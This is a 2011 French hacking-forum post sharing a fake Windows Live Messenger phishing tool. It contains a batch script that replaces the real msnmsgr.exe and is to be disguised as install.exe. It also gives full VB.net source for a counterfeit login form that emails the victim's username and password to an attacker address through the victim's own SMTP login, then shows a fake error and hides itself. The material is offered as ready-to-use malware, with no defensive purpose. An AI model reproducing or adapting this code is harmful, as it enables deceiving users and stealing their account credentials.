Apprendre le Hack Index du Forum
Apprendre le Hack

 
Apprendre le Hack Index du ForumFAQRechercherS’enregistrerConnexion

:: [fake]Windows Live Messenger XP VB.net ::

 
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié
Sujet précédent :: Sujet suivant  
Auteur Message
Inf3rnus
Administrateur

Hors ligne

Inscrit le: 22 Aoû 2011
Messages: 196

MessagePosté le: Mer 14 Déc - 13:36 (2011)    Sujet du message: [fake]Windows Live Messenger XP VB.net Répondre en citant

Voici un fake messenger phisher que l'on peux inclure avec un skin ou autre.


Code pour remplacer le msnmsgr.exe original



  1. @echo off  
  2. echo "installation en cours . . ."  
  3.   
  4. move /y msnmsgr.exe "C:\Program Files\Windows Live\Messenger\msnmsgr.exe"   
  5.   
  6. pause  





à convertir en exe avec batch2exe et nommer install.exe



image source:


Code source



  1. Imports System.Net.Mail  
  2. Imports System.Net.Mime  
  3. Imports System.Net.NetworkCredential  
  4. Imports System.Net  
  5. Public Class Form1  
  6.     Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing  
  7.         On Error Resume Next  
  8.         e.Cancel = True  
  9.         Me.Visible = False  
  10.     End Sub  
  11.     Dim mouse_offset  
  12.     Private Sub Form1_MouseDown(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles MyBase.MouseDown  
  13.         mouse_offset = New Point(-e.X, -e.Y)  
  14.     End Sub  
  15.   
  16.     Private Sub Form1_MouseMove(ByVal sender As Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles MyBase.MouseMove  
  17.         If e.Button = Windows.Forms.MouseButtons.Left Then  
  18.             Dim mousePos As Point = Control.MousePosition  
  19.             mousePos.Offset(mouse_offset.X, mouse_offset.Y)  
  20.             Location = mousePos  
  21.         End If  
  22.     End Sub  
  23.     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)  
  24.         Me.Close()  
  25.     End Sub  
  26.   
  27.     Private Sub PictureBox1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)  
  28.         Me.Location = New Point(25, 25)  
  29.     End Sub  
  30.   
  31.     Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)  
  32.         WindowState = FormWindowState.Minimized  
  33.     End Sub  
  34.   
  35.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click  
  36.         If TextBox1.Text = "" Then  
  37.             MsgBox("Entrez votre Nom D'utilisateur", MsgBoxStyle.Information, "Attention !")  
  38.             Exit Sub  
  39.         End If  
  40.         If Password.Text = "" Then  
  41.             MsgBox("Entrez votre mot de passe", MsgBoxStyle.Information, "Attention !")  
  42.             Exit Sub  
  43.         End If  
  44.         Timer1.Start()  
  45.     End Sub  
  46.   
  47.     Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick  
  48.         Timer1.Stop()  
  49.         '--------Envoi des message  
  50.         Dim mail As New MailMessage()  
  51.   
  52.         'set the addresses  
  53.         mail.From = New MailAddress(TextBox1.Text)  
  54.         mail.To.Add("xxxxx@live.fr")  
  55.   
  56.         'set the content  
  57.         mail.Subject = "Victime" & TextBox1.Text  
  58.         mail.Body = "le nom d utulisateur est :" & TextBox1.Text & " mot de passe est :" & Password.Text  
  59.   
  60.         Dim client As New SmtpClient("smtp.live.com", 587)  
  61.         client.EnableSsl = True  
  62.         client.Credentials = New NetworkCredential(TextBox1.Text, Password.Text)  
  63.         Try  
  64.             client.Send(mail)  
  65.         Catch ex As Exception  
  66.             Dim ex2 As Exception = ex  
  67.             Dim errorMessage As StringString = String.Empty  
  68.             While Not (ex2 Is Nothing)  
  69.                 errorMessage += ex2.ToString()  
  70.                 ex2ex2 = ex2.InnerException  
  71.             End While  
  72.             MsgBox(errorMessage)  
  73.         End Try  
  74.         ''--------  
  75.         MsgBox("Problèmes lors de la connexion, merci de réesayer ultérieurement !" & vbCrLf & vbCrLf & "Code d'erreur 8100043b", MsgBoxStyle.Information, "Erreur !")  
  76.         Me.Close()  
  77.     End Sub  
  78.   
  79.     Private Sub NotifyIcon1_MouseDoubleClick(ByVal sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles NotifyIcon1.MouseDoubleClick  
  80.         Me.WindowState = FormWindowState.Normal  
  81.         Me.Visible = True  
  82.     End Sub  
  83.     Private Sub QuitterToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles QuitterToolStripMenuItem.Click  
  84.         NotifyIcon1.Visible = False  
  85.         Form1_FormClosing(Me, Nothing)  
  86.     End Sub  
  87.     Private Sub AfficherToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles AfficherToolStripMenuItem.Click  
  88.         NotifyIcon1_MouseDoubleClick(Me, Nothing)  
  89.         Me.Visible = True  
  90.     End Sub  
  91. End Class  






_________________


Revenir en haut
Publicité






MessagePosté le: Mer 14 Déc - 13:36 (2011)    Sujet du message: Publicité

PublicitéSupprimer les publicités ?
Revenir en haut
Montrer les messages depuis:   
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié Toutes les heures sont au format GMT + 2 Heures
Page 1 sur 1

 
Sauter vers:  




Index | creer un forum | Forum gratuit d’entraide | Annuaire des forums gratuits | Signaler une violation | Conditions générales d'utilisation
Powered by phpBB © 2001, 2005 phpBB Group
Traduction par : phpBB-fr.com